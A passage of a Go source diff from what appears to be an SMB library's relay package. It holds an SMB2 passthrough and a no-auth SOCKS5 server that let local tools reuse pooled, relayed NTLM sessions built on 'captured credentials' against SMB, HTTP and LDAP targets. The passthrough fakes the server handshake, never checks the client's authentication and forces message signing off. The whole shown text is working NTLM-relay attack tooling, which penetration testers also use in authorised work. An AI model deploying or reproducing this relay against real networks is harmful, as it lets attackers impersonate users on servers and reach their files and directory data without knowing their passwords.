trees map[uint32]uint32 // local TID -> upstream TID
files map[[16]byte][]byte // local FileID -> upstream FileID (16 bytes)
nextTID uint32
nextFile uint64 // counter for synthesizing local FileIDs
}
// Run drives the local-side handshake then forwards subsequent PDUs to
// Upstream until the local connection closes or the upstream errors.
func (p *SMBPassthrough) Run(ctx context.Context) error {
if p.Resolve == nil && (p.Upstream == nil || p.Upstream.Conn == nil) {
return fmt.Errorf("nil upstream and no Resolve")
}
if p.Logger == nil {
p.Logger = log
}
// Local session ID is invented for the SOCKS client; it has no relation to
// the upstream's session ID (which we only learn after Resolve). A random
// value with a recognizable high-bit marker keeps logs readable.
var sid [8]byte
if _, err := rand.Read(sid[:]); err != nil {
return fmt.Errorf("rand for local session ID: %w", err)
}
p.localSessionID = binary.LittleEndian.Uint64(sid[:])&0x00FFFFFFFFFFFFFF | 0xC0FFEE0000000000
if p.Upstream != nil && p.Upstream.Conn != nil {
p.upstreamSessionID = p.Upstream.Conn.UpstreamSessionID()
}
p.trees = map[uint32]uint32{}
p.files = map[[16]byte][]byte{}
p.nextTID = 1
// Stage 1: Negotiate.
pkt, err := readNetBIOSPacket(p.Local)
if err != nil {
return fmt.Errorf("read Negotiate: %w", err)
}
if !isSMB2(pkt) {
// Some clients open with SMB1 multi-protocol Negotiate — answer with
// an SMB2 NegotiateRes carrying DialectRevision = SMB2_ALL so the
// client retries in SMB2.
if len(pkt) >= 4 && string(pkt[:4]) == "\xffSMB" {
if err := p.writeMultiProtoNeg(); err != nil {
return fmt.Errorf("write multi-proto neg: %w", err)
}
pkt, err = readNetBIOSPacket(p.Local)
if err != nil {
return fmt.Errorf("read second Negotiate: %w", err)
}
} else {
return fmt.Errorf("expected SMB2 Negotiate, got % x", pkt[:4])
}
}
if cmdOf(pkt) != smb.CommandNegotiate {
return fmt.Errorf("expected Negotiate, got command 0x%04x", cmdOf(pkt))
}
if err := p.replyNegotiate(pkt); err != nil {
return fmt.Errorf("reply Negotiate: %w", err)
}
// Stage 2: SessionSetup leg 1 (NTLMSSP NEGOTIATE -> CHALLENGE).
pkt, err = readNetBIOSPacket(p.Local)
if err != nil {
return fmt.Errorf("read SessionSetup1: %w", err)
}
if cmdOf(pkt) != smb.CommandSessionSetup {
return fmt.Errorf("expected SessionSetup1, got command 0x%04x", cmdOf(pkt))
}
if err := p.replySessionSetup1(pkt); err != nil {
return fmt.Errorf("reply SessionSetup1: %w", err)
}
// Stage 3: SessionSetup leg 2.
pkt, err = readNetBIOSPacket(p.Local)
if err != nil {
return fmt.Errorf("read SessionSetup2: %w", err)
}
if cmdOf(pkt) != smb.CommandSessionSetup {
return fmt.Errorf("expected SessionSetup2, got command 0x%04x", cmdOf(pkt))
}
if err := p.replySessionSetup2(pkt); err != nil {
return fmt.Errorf("reply SessionSetup2: %w", err)
}
// Resolve may have refused to bind an upstream (no match); replySession-
// Setup2 already wrote a LOGON_FAILURE for the client. Stop without
// touching the upstream.
if p.Upstream == nil || p.Upstream.Conn == nil {
return nil
}
// Stage 4: forwarding loop.
for {
pkt, err = readNetBIOSPacket(p.Local)
if err != nil {
if errors.Is(err, io.EOF) || errors.Is(err, net.ErrClosed) {
return nil
}
return fmt.Errorf("read forwarded PDU: %w", err)
}
if !isSMB2(pkt) || len(pkt) < 64 {
return fmt.Errorf("forwarding loop: not an SMB2 PDU")
}
if err := p.forward(pkt); err != nil {
return err
}
}
}
// forward translates and forwards one PDU. Locally-handled commands (Echo,
// Logoff) reply directly without touching the upstream.
func (p *SMBPassthrough) forward(pkt []byte) error {
cmd := cmdOf(pkt)
switch cmd {
case smb.CommandEcho:
return p.replyEcho(pkt)
case smb.CommandLogoff:
return p.replyLogoff(pkt)
case smb.CommandCancel:
// Cancel has no response; quietly drop.
return nil
}
// Translate per-command body fields outbound (local -> upstream). For
// Close we stash the local FileID so we can drop the mapping after the
// upstream confirms success.
var closeLocalFID [16]byte
if cmd == smb.CommandClose {
off, _ := requestFileIDOffset(cmd)
if len(pkt) >= off+16 {
copy(closeLocalFID[:], pkt[off:off+16])
}
}
if err := p.translateBodyOutbound(cmd, pkt); err != nil {
return fmt.Errorf("translate outbound: %w", err)
}
// Translate header fields (MessageID + TreeID + SessionID). The local
// MessageID lives at offset 24 (8 bytes LE); SendRawPDU rewrites it to
// the upstream connection's next outbound id, and the upstream's reply
// carries that upstream id — we must stamp the local id back into the
// response so the SOCKS client recognizes its own outstanding request.
localMID := binary.LittleEndian.Uint64(pkt[24:32])
localTID := binary.LittleEndian.Uint32(pkt[36:40])
if cmd != smb.CommandTreeConnect {
upstreamTID, ok := p.lookupTree(localTID)
if !ok && localTID != 0 {
return p.replyError(pkt, smb.StatusInvalidParameter)
}
binary.LittleEndian.PutUint32(pkt[36:40], upstreamTID)
}
binary.LittleEndian.PutUint64(pkt[40:48], p.upstreamSessionID)
// Zero the signature region; SendRawPDU will (no-op) re-sign per the
// upstream connection's negotiated state. The relay forces signing off.
for i := 48; i < 64; i++ {
pkt[i] = 0
}
p.Upstream.mu.Lock()
p.Upstream.Touch()
resp, err := p.Upstream.Conn.SendRawPDU(pkt)
p.Upstream.mu.Unlock()
if err != nil {
// Upstream connection is broken — flag the pooled session dead so
// subsequent SOCKS connections route to a sibling (if any) and drop
// this SOCKS connection. The prune sweep will close + evict the dead
// entry.
p.Upstream.MarkDead()
return fmt.Errorf("upstream SendRawPDU: %w", err)
}
if len(resp) < 64 || !isSMB2(resp) {
p.Upstream.MarkDead()
return fmt.Errorf("upstream returned malformed PDU (%d bytes)", len(resp))
}
// Translate header back (upstream -> local): MessageID + SessionID.
binary.LittleEndian.PutUint64(resp[24:32], localMID)
binary.LittleEndian.PutUint64(resp[40:48], p.localSessionID)
respCmd := cmdOf(resp)
respStatus := binary.LittleEndian.Uint32(resp[8:12])
if cmd == smb.CommandTreeConnect && respStatus == smb.StatusOk {
upstreamTID := binary.LittleEndian.Uint32(resp[36:40])
newLocalTID := p.allocTree(upstreamTID)
binary.LittleEndian.PutUint32(resp[36:40], newLocalTID)
} else if cmd == smb.CommandTreeDisconnect && respStatus == smb.StatusOk {
p.dropTree(localTID)
binary.LittleEndian.PutUint32(resp[36:40], localTID)
} else {
// Echo back the local TID so the client sees its own TreeID.
binary.LittleEndian.PutUint32(resp[36:40], localTID)
}
// Translate response body (FileID swaps for Create/Close/IoCtl etc.).
if err := p.translateBodyInbound(respCmd, cmd, resp, respStatus); err != nil {
return fmt.Errorf("translate inbound: %w", err)
}
if cmd == smb.CommandClose && respStatus == smb.StatusOk {
p.dropFile(closeLocalFID)
}
// Zero the signature region in the response (the local client doesn't
// verify — we negotiated signing off).
for i := 48; i < 64; i++ {
resp[i] = 0
}
if err := writeNetBIOSPacket(p.Local, resp); err != nil {
return fmt.Errorf("write forwarded reply: %w", err)
}
return nil
}
// translateBodyOutbound rewrites local FileIDs in the PDU body to upstream
// FileIDs in place. No-op for commands that don't carry a FileID.
func (p *SMBPassthrough) translateBodyOutbound(cmd uint16, pkt []byte) error {
off, ok := requestFileIDOffset(cmd)
if !ok {
return nil
}
if len(pkt) < off+16 {
return fmt.Errorf("PDU too short for FileID at +%d (cmd=0x%04x)", off, cmd)
}
var local [16]byte
copy(local[:], pkt[off:off+16])
upstream, ok := p.lookupFile(local)
if !ok {
return fmt.Errorf("forwarding cmd 0x%04x with unknown local FileID %s", cmd, hex.EncodeToString(local[:]))
}
copy(pkt[off:off+16], upstream)
return nil
}
// translateBodyInbound rewrites upstream FileIDs in the response body back to
// local FileIDs. For Create responses we allocate a new local FileID.
func (p *SMBPassthrough) translateBodyInbound(respCmd uint16, reqCmd uint16, resp []byte, status uint32) error {
switch respCmd {
case smb.CommandCreate:
if status != smb.StatusOk {
return nil
}
const off = 64 + 64 // 64-byte header + 64 bytes of CreateRes preamble = FileID at +128
if len(resp) < off+16 {
return fmt.Errorf("CreateRes too short")
}
var upstreamFID [16]byte
copy(upstreamFID[:], resp[off:off+16])
localFID := p.allocFile(upstreamFID)
copy(resp[off:off+16], localFID[:])
case smb.CommandClose:
// CloseRes carries no FileID; mapping cleanup happens in forward().
case smb.CommandIOCtl:
// IoCtlRes has FileID at offset 64+8 = 72. Rewrite back to local.
const off = 64 + 8
if len(resp) < off+16 {
return nil
}
var upstreamFID [16]byte
copy(upstreamFID[:], resp[off:off+16])
// Find the local FileID that maps to this upstream FileID (linear
// scan; the mapping tables are tiny).
if local, ok := p.findLocalByUpstream(upstreamFID); ok {
copy(resp[off:off+16], local[:])
}
}
return nil
}
// dropFile removes the local->upstream FileID mapping for the supplied local
// FileID. Idempotent.
func (p *SMBPassthrough) dropFile(local [16]byte) {
p.tableMu.Lock()
delete(p.files, local)
p.tableMu.Unlock()
}
// findLocalByUpstream returns the local FileID that maps to the given upstream
// FileID, or zero/false if not found.
func (p *SMBPassthrough) findLocalByUpstream(upstream [16]byte) ([16]byte, bool) {
p.tableMu.Lock()
defer p.tableMu.Unlock()
for local, up := range p.files {
if len(up) == 16 && [16]byte(*(*[16]byte)(up)) == upstream {
return local, true
}
}
return [16]byte{}, false
}
// requestFileIDOffset returns the byte offset (from the start of the PDU)
// where the FileID field lives in the body of the named request, or 0+false
// if the request type doesn't carry one.
func requestFileIDOffset(cmd uint16) (int, bool) {
const hdr = 64
switch cmd {
case smb.CommandClose:
return hdr + 8, true
case smb.CommandRead:
return hdr + 16, true
case smb.CommandWrite:
return hdr + 16, true
case smb.CommandQueryDirectory:
return hdr + 8, true
case smb.CommandQueryInfo:
return hdr + 24, true
case smb.CommandSetInfo:
return hdr + 16, true
case smb.CommandIOCtl:
return hdr + 8, true
case smb.CommandFlush:
return hdr + 8, true
}
return 0, false
}
// lookupTree looks up a local TID in the translation map.
func (p *SMBPassthrough) lookupTree(localTID uint32) (uint32, bool) {
p.tableMu.Lock()
defer p.tableMu.Unlock()
v, ok := p.trees[localTID]
return v, ok
}
func (p *SMBPassthrough) allocTree(upstreamTID uint32) uint32 {
p.tableMu.Lock()
defer p.tableMu.Unlock()
id := p.nextTID
p.nextTID++
p.trees[id] = upstreamTID
return id
}
func (p *SMBPassthrough) dropTree(localTID uint32) {
p.tableMu.Lock()
defer p.tableMu.Unlock()
delete(p.trees, localTID)
}
// lookupFile returns the upstream FileID bytes for the given local FileID.
func (p *SMBPassthrough) lookupFile(local [16]byte) ([]byte, bool) {
p.tableMu.Lock()
defer p.tableMu.Unlock()
v, ok := p.files[local]
return v, ok
}
// allocFile assigns a fresh local FileID and stores the local->upstream
// mapping. Returns the synthesized local FileID.
func (p *SMBPassthrough) allocFile(upstream [16]byte) [16]byte {
var local [16]byte
p.tableMu.Lock()
p.nextFile++
binary.LittleEndian.PutUint64(local[:8], p.nextFile)
binary.LittleEndian.PutUint64(local[8:], 0xCAFEBABEDEADBEEF)
stored := make([]byte, 16)
copy(stored, upstream[:])
p.files[local] = stored
p.tableMu.Unlock()
return local
}
// replyEcho replies StatusOk to a local Echo without touching the upstream.
func (p *SMBPassthrough) replyEcho(req []byte) error {
resp := buildResponseHeader(req, smb.CommandEcho, smb.StatusOk, p.localSessionID)
resp = append(resp, []byte{4, 0, 0, 0}...) // StructureSize=4, Reserved=0
return writeNetBIOSPacket(p.Local, resp)
}
// replyLogoff replies StatusOk and closes the local connection (passthrough
// returns when readNetBIOSPacket sees EOF). Upstream session is preserved.
func (p *SMBPassthrough) replyLogoff(req []byte) error {
resp := buildResponseHeader(req, smb.CommandLogoff, smb.StatusOk, p.localSessionID)
resp = append(resp, []byte{4, 0, 0, 0}...) // StructureSize=4, Reserved=0
if err := writeNetBIOSPacket(p.Local, resp); err != nil {
return err
}
return io.EOF
}
// replyError sends an SMB2 error response with the given NT status.
func (p *SMBPassthrough) replyError(req []byte, status uint32) error {
resp := buildResponseHeader(req, cmdOf(req), status, p.localSessionID)
// SMB2 ERROR Response (MS-SMB2 2.2.2) — minimal.
body := []byte{
9, 0, // StructureSize
0, // ErrorContextCount
0, // Reserved
0, 0, 0, 0, // ByteCount=0
0, // ErrorData
}
resp = append(resp, body...)
return writeNetBIOSPacket(p.Local, resp)
}
// replyNegotiate writes a synthetic SMB 2.1 NegotiateRes to the local client.
// SecurityMode = 0 (signing off), no encryption, NTLMSSP only.
func (p *SMBPassthrough) replyNegotiate(req []byte) error {
res := smb.NewNegotiateRes()
res.Header = parseHeader(req)
res.Header.Status = smb.StatusOk
res.Header.Command = smb.CommandNegotiate
res.Header.Flags = smb.SMB2_FLAGS_SERVER_TO_REDIR
res.Header.Credits = 1
res.DialectRevision = smb.DialectSmb_2_1
res.SecurityMode = smb.SecurityModeSigningEnabled
res.Capabilities = smb.GlobalCapLargeMTU
res.MaxReadSize = 65536
res.MaxWriteSize = 65536
res.MaxTransactSize = 65536
res.SystemTime = ntlmssp.ConvertToFileTime(time.Now())
res.ServerStartTime = res.SystemTime
guid := make([]byte, 16)
if _, err := rand.Read(guid); err != nil {
return fmt.Errorf("rand for ServerGuid: %w", err)
}
res.ServerGuid = guid
res.SecurityBlob = &gss.NegTokenInit{
OID: gss.SpnegoOid,
Data: gss.NegTokenInitData{
MechTypes: []asn1.ObjectIdentifier{gss.NtLmSSPMechTypeOid},
},
}
buf, err := encoder.Marshal(&res)
if err != nil {
return err
}
return writeNetBIOSPacket(p.Local, buf)
}
// writeMultiProtoNeg writes the SMB2_ALL "please re-negotiate in SMB2" reply
// for the legacy SMB1 multi-protocol Negotiate prologue.
func (p *SMBPassthrough) writeMultiProtoNeg() error {
res := smb.NewNegotiateRes()
res.Header = smb.Header{
ProtocolID: []byte(smb.ProtocolSmb2),
StructureSize: 64,
Status: smb.StatusOk,
Command: smb.CommandNegotiate,
Credits: 1,
Flags: smb.SMB2_FLAGS_SERVER_TO_REDIR,
Signature: make([]byte, 16),
}
res.DialectRevision = smb.DialectSmb2_ALL
res.SecurityMode = smb.SecurityModeSigningEnabled
res.MaxReadSize = 65536
res.MaxWriteSize = 65536
res.MaxTransactSize = 65536
res.SystemTime = ntlmssp.ConvertToFileTime(time.Now())
res.ServerStartTime = res.SystemTime
guid := make([]byte, 16)
if _, err := rand.Read(guid); err != nil {
return fmt.Errorf("rand for ServerGuid: %w", err)
}
res.ServerGuid = guid
res.SecurityBlob = &gss.NegTokenInit{
OID: gss.SpnegoOid,
Data: gss.NegTokenInitData{
MechTypes: []asn1.ObjectIdentifier{gss.NtLmSSPMechTypeOid},
},
}
buf, err := encoder.Marshal(&res)
if err != nil {
return err
}
return writeNetBIOSPacket(p.Local, buf)
}
// replySessionSetup1 builds a synthetic NTLMSSP CHALLENGE wrapped in a
// NegTokenResp and replies with STATUS_MORE_PROCESSING_REQUIRED. The
// challenge is opaque to us — we never validate the corresponding
// AUTHENTICATE.
func (p *SMBPassthrough) replySessionSetup1(req []byte) error {
var ssreq smb.SessionSetupReq
if err := encoder.Unmarshal(req, &ssreq); err != nil {
return err
}
srv := &ntlmssp.Server{
TargetName: "GO-SMB-RELAY",
NetBIOSName: "GO-SMB-RELAY",
NetBIOSDomain: "WORKGROUP",
}
// Peel the inner NTLMSSP NEGOTIATE token out of NegTokenInit.
var init gss.NegTokenInit
if err := encoder.Unmarshal(ssreq.SecurityBlob, &init); err != nil {
return fmt.Errorf("decode NegTokenInit: %w", err)
}
if len(init.Data.MechToken) == 0 {
return fmt.Errorf("SessionSetup1: empty MechToken")
}
chall, err := srv.AcceptNegotiate(init.Data.MechToken)
if err != nil {
return fmt.Errorf("AcceptNegotiate: %w", err)
}
resp := gss.NegTokenResp{
State: asn1.Enumerated(gss.GssStateAcceptIncomplete),
SupportedMech: gss.NtLmSSPMechTypeOid,
ResponseToken: chall,
}
respBytes, err := encoder.Marshal(&resp)
if err != nil {
return err
}
return p.writeSessionSetupRes(req, smb.StatusMoreProcessingRequired, 0, respBytes, p.localSessionID)
}
// replySessionSetup2 parses the inbound NTLMSSP AUTHENTICATE to learn the
// username/domain the SOCKS client is asserting, optionally calls Resolve to
// bind a pooled upstream session, then replies STATUS_OK (or
// STATUS_LOGON_FAILURE if no matching pool entry exists). SessionFlagIsGuest
// is set so the client knows signing/encryption are off.
func (p *SMBPassthrough) replySessionSetup2(req []byte) error {
if p.Resolve != nil {
domain, user, err := extractAuthUser(req)
if err != nil {
p.Logger.Debugf("extract AUTHENTICATE user: %v", err)
}
p.Upstream = p.Resolve(p.Target, domain, user)
if p.Upstream == nil || p.Upstream.Conn == nil {
p.Logger.Debugf("no pooled session for target=%s user=%s\\%s", p.Target, domain, user)
// Reply LOGON_FAILURE so the SOCKS client sees auth rejection
// rather than a stalled connection.
return p.writeSessionSetupRes(req, smb.StatusLogonFailure, 0, nil, p.localSessionID)
}
p.upstreamSessionID = p.Upstream.Conn.UpstreamSessionID()
}
resp := gss.NegTokenResp{
State: asn1.Enumerated(gss.GssStateAcceptCompleted),
}
respBytes, err := encoder.Marshal(&resp)
if err != nil {
return err
}
return p.writeSessionSetupRes(req, smb.StatusOk, smb.SessionFlagIsGuest, respBytes, p.localSessionID)
}
// extractAuthUser peels the inbound NTLMSSP AUTHENTICATE out of the
// SessionSetup leg-2 blob and returns the asserted (domain, user) pair as
// UTF-8 strings.
func extractAuthUser(req []byte) (domain, user string, err error) {
var ssreq smb.SessionSetupReq
if err = encoder.Unmarshal(req, &ssreq); err != nil {
return "", "", fmt.Errorf("decode SessionSetupReq: %w", err)
}
var resp gss.NegTokenResp
if err = encoder.Unmarshal(ssreq.SecurityBlob, &resp); err != nil {
return "", "", fmt.Errorf("decode NegTokenResp: %w", err)
}
if len(resp.ResponseToken) == 0 {
return "", "", fmt.Errorf("empty ResponseToken")
}
var auth ntlmssp.Authenticate
if err = encoder.Unmarshal(resp.ResponseToken, &auth); err != nil {
return "", "", fmt.Errorf("decode NTLMSSP Authenticate: %w", err)
}
user, _ = encoder.FromUnicodeString(auth.UserName)
domain, _ = encoder.FromUnicodeString(auth.DomainName)
return domain, user, nil
}
// writeSessionSetupRes assembles and sends a SessionSetupRes.
func (p *SMBPassthrough) writeSessionSetupRes(req []byte, status uint32, flags uint16, blob []byte, sessionID uint64) error {
res := smb.SessionSetupRes{
Header: parseHeader(req),
StructureSize: 9,
Flags: flags,
SecurityBlob: blob,
}
res.Header.Status = status
res.Header.Command = smb.CommandSessionSetup
res.Header.Flags = smb.SMB2_FLAGS_SERVER_TO_REDIR
res.Header.Credits = 1
res.Header.SessionID = sessionID
res.Header.Signature = make([]byte, 16)
buf, err := encoder.Marshal(&res)
if err != nil {
return err
}
return writeNetBIOSPacket(p.Local, buf)
}
// readNetBIOSPacket reads one NetBIOS-framed SMB packet from c.
func readNetBIOSPacket(c net.Conn) ([]byte, error) {
var size uint32
if err := binary.Read(c, binary.BigEndian, &size); err != nil {
return nil, err
}
if size > 0x00FFFFFF {
return nil, fmt.Errorf("invalid NetBIOS frame length 0x%x", size)
}
buf := make([]byte, size)
if _, err := io.ReadFull(c, buf); err != nil {
return nil, err
}
return buf, nil
}
// writeNetBIOSPacket writes one NetBIOS-framed SMB packet to c.
func writeNetBIOSPacket(c net.Conn, pkt []byte) error {
hdr := make([]byte, 4)
binary.BigEndian.PutUint32(hdr, uint32(len(pkt)))
if _, err := c.Write(hdr); err != nil {
return err
}
_, err := c.Write(pkt)
return err
}
// isSMB2 reports whether buf begins with the SMB2 protocol id.
func isSMB2(buf []byte) bool {
return len(buf) >= 4 && string(buf[:4]) == smb.ProtocolSmb2
}
// cmdOf returns the SMB2 Command field of the supplied PDU, or 0xffff if the
// buffer is too short.
func cmdOf(buf []byte) uint16 {
if len(buf) < 14 {
return 0xffff
}
return binary.LittleEndian.Uint16(buf[12:14])
}
// parseHeader unmarshals the SMB2 header out of an inbound PDU. Used by the
// synthetic-reply paths to echo MessageID/CreditCharge/etc. A short or
// malformed PDU yields a zero header; we log because reaching this with bad
// input means an upstream framing bug, not a wire-level adversarial input
// (callers already gate on NetBIOS framing).
func parseHeader(pkt []byte) smb.Header {
var h smb.Header
if len(pkt) < 64 {
log.Errorf("parseHeader called with short pkt (%d bytes)", len(pkt))
return h
}
if err := encoder.Unmarshal(pkt[:64], &h); err != nil {
log.Errorf("parseHeader decode: %v", err)
}
return h
}
// buildResponseHeader emits the 64-byte SMB2 response header bytes for an
// inbound request, returning a fresh slice with the body length to follow.
func buildResponseHeader(req []byte, command uint16, status uint32, sessionID uint64) []byte {
h := parseHeader(req)
out := smb.Header{
ProtocolID: []byte(smb.ProtocolSmb2),
StructureSize: 64,
CreditCharge: h.CreditCharge,
Status: status,
Command: command,
Credits: 1,
Flags: smb.SMB2_FLAGS_SERVER_TO_REDIR,
MessageID: h.MessageID,
TreeID: h.TreeID,
SessionID: sessionID,
Signature: make([]byte, 16),
}
buf, err := encoder.Marshal(out)
if err != nil {
// Caller would already be in trouble; return an empty buffer.
return nil
}
return buf
}
+309
View File
@@ -0,0 +1,309 @@
// MIT License
//
// Copyright (c) 2026 Jimmy Fjällid
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
package relay
import (
"context"
"encoding/binary"
"errors"
"fmt"
"io"
"net"
"strconv"
"strings"
"github.com/jfjallid/go-smb/smb/server"
)
// SOCKS5 reply codes (RFC 1928).
const (
socksReplySuccess byte = 0x00
socksReplyGeneralFailure byte = 0x01
socksReplyConnNotAllowed byte = 0x02
socksReplyHostUnreachable byte = 0x04
socksReplyConnRefused byte = 0x05
socksReplyCmdNotSupported byte = 0x07
socksReplyAddrTypeNotSupported byte = 0x08
)
const (
socksCmdConnect byte = 0x01
socksAtypIPv4 byte = 0x01
socksAtypDomain byte = 0x03
socksAtypIPv6 byte = 0x04
)
// socksServer accepts SOCKS5 CONNECT requests, looks up the target in the
// session pool, and dispatches to the SMB raw-PDU passthrough.
type socksServer struct {
rs *RelayServer
logger server.Logger
}
func newSocksServer(rs *RelayServer) *socksServer {
return &socksServer{rs: rs, logger: rs.logger()}
}
// serve accepts SOCKS5 connections until ln is closed.
func (s *socksServer) serve(ln net.Listener) {
for {
nc, err := ln.Accept()
if err != nil {
if errors.Is(err, net.ErrClosed) {
return
}
s.logger.Errorf("socks: accept: %v", err)
return
}
s.rs.wg.Add(1)
go func(c net.Conn) {
defer s.rs.wg.Done()
defer c.Close()
s.handle(c)
}(nc)
}
}
// handle drives one SOCKS5 client through method negotiation, request, and
// dispatch. The pool lookup is deferred to passthrough-time: for SMB,
// SessionSetup leg 2 carries the username we filter on (via Resolve →
// resolveUpstream). HTTP and LDAP passthrough do not filter on any inbound
// identity — the pinned upstream's captured credentials are used as-is.
//
// Only the target is known at this point — but if no pooled session matches
// the target at all, refuse early so the SOCKS client sees a clear rejection
// instead of going through a useless SMB handshake.
//
// Note: SOCKS5 method negotiation accepts only no-auth (0x00). The SOCKS
// client therefore cannot prove an identity at the SOCKS layer; treat the
// listener as trusted-local-tools-only.
func (s *socksServer) handle(c net.Conn) {
target, err := socks5Handshake(c)
if err != nil {
s.logger.Infof("socks: handshake from %s: %v", c.RemoteAddr(), err)
return
}
matches := s.rs.pool.FindMatches(target, "")
if len(matches) == 0 {
s.logger.Infof("socks: no pooled session for target %s (request from %s)", target, c.RemoteAddr())
_ = writeSocksReply(c, socksReplyConnRefused, c.LocalAddr())
return
}
// HTTP, LDAP, and SMB upstreams share the same pool keyed by host:port.
// Pick the passthrough kind from the first candidate; entries for any
// given target are all of the same kind (an ldap://dc01:636 target never
// collides with an smb://dc01:636 target on the same listener config).
kind := pickUpstreamKind(matches[0])
s.logger.Debugf("socks: %d match(es) for target=%s; first entry kind=%v dead=%v",
len(matches), target, kind, matches[0].IsDead())
if err := writeSocksReply(c, socksReplySuccess, c.LocalAddr()); err != nil {
s.logger.Debugf("socks: reply to %s: %v", c.RemoteAddr(), err)
return
}
if cb := s.rs.Config.OnSocksClient; cb != nil {
cb(c.RemoteAddr(), target)
}
remote := c.RemoteAddr()
switch kind {
case upstreamKindHTTP:
p := &HTTPPassthrough{
Local: c,
Target: target,
Logger: s.logger,
Resolve: s.rs.resolveHTTPUpstream(remote),
}
if err := p.Run(context.Background()); err != nil {
s.logger.Debugf("socks: http passthrough %s: %v", c.RemoteAddr(), err)
}
case upstreamKindLDAP:
p := &LDAPPassthrough{
Local: c,
Target: target,
Logger: s.logger,
Resolve: s.rs.resolveLDAPUpstream(remote),
}
if err := p.Run(context.Background()); err != nil {
s.logger.Debugf("socks: ldap passthrough %s: %v", c.RemoteAddr(), err)
}
default:
p := &SMBPassthrough{
Local: c,
Target: target,
Logger: s.logger,
Resolve: s.rs.resolveUpstream(remote),
}
if err := p.Run(context.Background()); err != nil {
s.logger.Debugf("socks: smb passthrough %s: %v", c.RemoteAddr(), err)
}
}
}
type upstreamKind int
const (
upstreamKindSMB upstreamKind = iota
upstreamKindHTTP
upstreamKindLDAP
)
func pickUpstreamKind(ps *pooledSession) upstreamKind {
switch {
case ps.IsLDAP():
return upstreamKindLDAP
case ps.IsHTTP():
return upstreamKindHTTP
}
return upstreamKindSMB
}
// socks5Handshake performs RFC 1928 method negotiation and request parsing.
// Returns the requested target as "host:port" on success.
func socks5Handshake(c net.Conn) (string, error) {
// Method negotiation: VER NMETHODS METHODS...
hdr := make([]byte, 2)
if _, err := io.ReadFull(c, hdr); err != nil {
return "", fmt.Errorf("read greeting: %w", err)
}
if hdr[0] != 0x05 {
return "", fmt.Errorf("unsupported SOCKS version 0x%02x", hdr[0])
}
methods := make([]byte, hdr[1])
if _, err := io.ReadFull(c, methods); err != nil {
return "", fmt.Errorf("read methods: %w", err)
}
// We only support no-auth (0x00). Reject otherwise.
noAuth := false
for _, m := range methods {
if m == 0x00 {
noAuth = true
break
}
}
if !noAuth {
_, _ = c.Write([]byte{0x05, 0xff})
return "", fmt.Errorf("client did not offer no-auth method")
}
if _, err := c.Write([]byte{0x05, 0x00}); err != nil {
return "", fmt.Errorf("write method selection: %w", err)
}
// Request: VER CMD RSV ATYP DST.ADDR DST.PORT
req := make([]byte, 4)
if _, err := io.ReadFull(c, req); err != nil {
return "", fmt.Errorf("read request: %w", err)
}
if req[0] != 0x05 {
return "", fmt.Errorf("request bad ver 0x%02x", req[0])
}
if req[1] != socksCmdConnect {
_ = writeSocksReply(c, socksReplyCmdNotSupported, c.LocalAddr())
return "", fmt.Errorf("unsupported command 0x%02x", req[1])
}
var host string
switch req[3] {
case socksAtypIPv4:
buf := make([]byte, 4)
if _, err := io.ReadFull(c, buf); err != nil {
return "", err
}
host = net.IP(buf).String()
case socksAtypIPv6:
buf := make([]byte, 16)
if _, err := io.ReadFull(c, buf); err != nil {
return "", err
}
host = net.IP(buf).String()
case socksAtypDomain:
l := make([]byte, 1)
if _, err := io.ReadFull(c, l); err != nil {
return "", err
}
// l[0] is uint8 so naturally ≤255 (the SOCKS5 cap), but reject
// a zero-length domain — it's never valid and would otherwise
// produce a confusing "no pooled session for target :port" log.
if l[0] == 0 {
return "", fmt.Errorf("zero-length domain in SOCKS5 request")
}
buf := make([]byte, l[0])
if _, err := io.ReadFull(c, buf); err != nil {
return "", err
}
host = string(buf)
default:
_ = writeSocksReply(c, socksReplyAddrTypeNotSupported, c.LocalAddr())
return "", fmt.Errorf("unsupported address type 0x%02x", req[3])
}
portBytes := make([]byte, 2)
if _, err := io.ReadFull(c, portBytes); err != nil {
return "", err
}
port := binary.BigEndian.Uint16(portBytes)
return net.JoinHostPort(host, strconv.Itoa(int(port))), nil
}
// writeSocksReply writes a reply with BND.ADDR/PORT taken from bnd. The
// reply format is VER REP RSV ATYP BND.ADDR BND.PORT.
func writeSocksReply(c net.Conn, code byte, bnd net.Addr) error {
host, portStr, err := net.SplitHostPort(addrString(bnd))
if err != nil {
host = "0.0.0.0"
portStr = "0"
}
port, _ := strconv.Atoi(portStr)
ip := net.ParseIP(host)
out := []byte{0x05, code, 0x00}
if ip4 := ip.To4(); ip4 != nil {
out = append(out, socksAtypIPv4)
out = append(out, ip4...)
} else if ip != nil {
out = append(out, socksAtypIPv6)
out = append(out, ip.To16()...)
} else {
out = append(out, socksAtypDomain)
out = append(out, byte(len(host)))
out = append(out, []byte(host)...)
}
out = binary.BigEndian.AppendUint16(out, uint16(port))
_, err = c.Write(out)
return err
}
// addrString returns the canonical host:port form of a net.Addr, including
// for the * unbound case.
func addrString(a net.Addr) string {
if a == nil {
return "0.0.0.0:0"
}
s := a.String()
if !strings.Contains(s, ":") {
return s + ":0"
}
return s
}
+288
View File
@@ -0,0 +1,288 @@
// MIT License
//
// Copyright (c) 2026 Jimmy Fjällid
package relay
import (
"net"
"testing"
"time"
)
// TestSocks5HandshakeDomain exercises socks5Handshake against a synthetic
// SOCKS5 client request using the domain ATYP. We pipe both sides through
// net.Pipe to avoid touching the network.
func TestSocks5HandshakeDomain(t *testing.T) {
server, client := net.Pipe()
defer server.Close()
defer client.Close()
go func() {
// Greeting: VER=5 NMETHODS=1 NoAuth.
client.Write([]byte{0x05, 0x01, 0x00})
